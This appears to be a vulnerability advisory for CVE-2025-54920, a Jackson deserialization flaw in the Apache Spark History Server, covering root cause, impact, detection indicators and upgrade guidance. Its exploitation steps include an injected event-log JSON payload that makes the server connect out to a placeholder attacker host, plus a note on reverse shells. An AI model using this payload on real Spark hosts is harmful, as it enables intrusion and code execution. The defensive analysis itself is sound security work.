CVE-2025-54920: 
Java vulnerability analysis and mitigation

CVE-2025-54920 is a deserialization-based code execution vulnerability in the Apache Spark History Server, affecting Apache Spark versions before 3.5.7 and 4.0.0 (fixed in 4.0.1). The flaw allows an attacker with write access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary Java classes, enabling command execution on the host running the History Server. It was publicly disclosed on March 13, 2026, via the oss-security mailing list and tracked as SPARK-52381. The vulnerability carries a CVSS v3.1 base score of 8.8 (High) (Openwall oss-sec, Red Hat Advisory).

The root cause is unsafe Jackson polymorphic deserialization (CWE-502, CWE-94): the Spark History Server applies @JsonTypeInfo.Id.CLASS to SparkListenerEvent objects, allowing arbitrary class names to be specified in the Event field of event log JSON. Because no allowlist or type restriction is enforced, an attacker can specify any class on the JVM classpath — for example, org.apache.hive.jdbc.HiveConnection — which is instantiated during deserialization and can perform network calls or other side-effectful actions. The fix, implemented in GitHub PRs #51312 (branch-4.0) and #51323 (branch-3.5), restricts JsonProtocol to only accept subclasses of SparkListenerEvent, eliminating the arbitrary class instantiation path (Openwall oss-sec, GitHub PR #51312, GitHub PR #51323).

Successful exploitation grants an attacker arbitrary code execution on the host running the Spark History Server, running as the Spark service account. This can lead to full system compromise, including unauthorized access to sensitive data processed by Spark, lateral movement within the data infrastructure, and potential disruption of analytics pipelines. The confidentiality, integrity, and availability impacts are all rated High (Openwall oss-sec, Red Hat Advisory).

A public proof-of-concept (PoC) with step-by-step exploitation instructions and a specific malicious JSON payload was published on the oss-security mailing list on March 13, 2026 (Openwall oss-sec). Exploitation requires low privileges — specifically, write access to the Spark event logs directory — and no user interaction. The EPSS score is approximately 0.224%, indicating a currently low probability of widespread exploitation. There is no evidence of in-the-wild exploitation or CISA KEV catalog listing at this time. The vulnerability was discovered by Alexandre Pujol of Linagora (Openwall oss-sec).

1. Gain write access to the event logs directory: Obtain write permissions to the Spark event logs directory (e.g., spark-logs) — this could be via a compromised Spark worker, a misconfigured shared filesystem, or insider access.
2. Identify a target event log file: Locate an existing event log file in the directory that the History Server will load on startup or refresh.
3. Inject malicious JSON payload: Prepend or insert the following crafted JSON into the event log file to specify an arbitrary class as the event type:

{
  "Event": "org.apache.hive.jdbc.HiveConnection",
  "uri": "jdbc:hive2://<attacker-host>:<port>/",
  "info": {
    "hive.metastore.uris": "thrift://<attacker-host>:<port>"
  }
}

4. Set up a listener: Start a listener on the attacker-controlled server at the specified host and port to receive the incoming JDBC/Thrift connection.
5. Trigger deserialization: Start or restart the Spark History Server pointing to the modified logs directory. On startup or log reload, the History Server deserializes the injected JSON, instantiates HiveConnection, and initiates a connection to the attacker's server.
6. Achieve code execution: Leverage the deserialization gadget chain to execute arbitrary commands on the History Server host, potentially establishing a reverse shell or exfiltrating data (Openwall oss-sec, Red Hat Bugzilla).

• Network: Unexpected outbound JDBC (port 10000) or Thrift (port 9083) connections from the Spark History Server host to external or unusual internal IP addresses; DNS lookups for attacker-controlled hostnames originating from the History Server process.
• File System: Event log files in the Spark logs directory containing JSON with non-standard Event field values (i.e., class names not prefixed with org.apache.spark); unexpected modification timestamps on event log files.
• Logs: Spark History Server logs showing ClassNotFoundException, NoClassDefFoundError, or unexpected class instantiation errors during event log parsing; Java stack traces referencing org.apache.hive.jdbc.HiveConnection or other non-Spark classes in deserialization context.
• Process: Unusual child processes spawned by the Spark History Server JVM (e.g., bash, sh, curl, wget, python); unexpected network socket activity from the java process running the History Server (Openwall oss-sec, Red Hat Bugzilla).

Upgrade Apache Spark to version 3.5.7 or 4.0.1 (or later), which restrict JsonProtocol to only deserialize subclasses of SparkListenerEvent, eliminating the arbitrary class instantiation path (Openwall oss-sec, GitHub PR #51312). As an interim workaround, strictly restrict write access to the Spark event logs directory to only trusted Spark worker processes and administrators, preventing unauthorized injection of malicious JSON. Additionally, monitor the event logs directory for unauthorized file modifications and audit filesystem permissions regularly.

The vulnerability was disclosed by Apache Spark contributor Holden Karau via the oss-security mailing list, crediting Alexandre Pujol of Linagora as the finder (Openwall oss-sec). The Apache announcement was also distributed via the Apache announcements mailing list. Red Hat tracked the issue via Bugzilla and their CVE advisory page, rating it medium severity internally (Red Hat Advisory). Social media activity was observed on Bluesky shortly after disclosure, and the vulnerability was picked up by security aggregators including Tenable, Qualys, and ENISA's EUVD.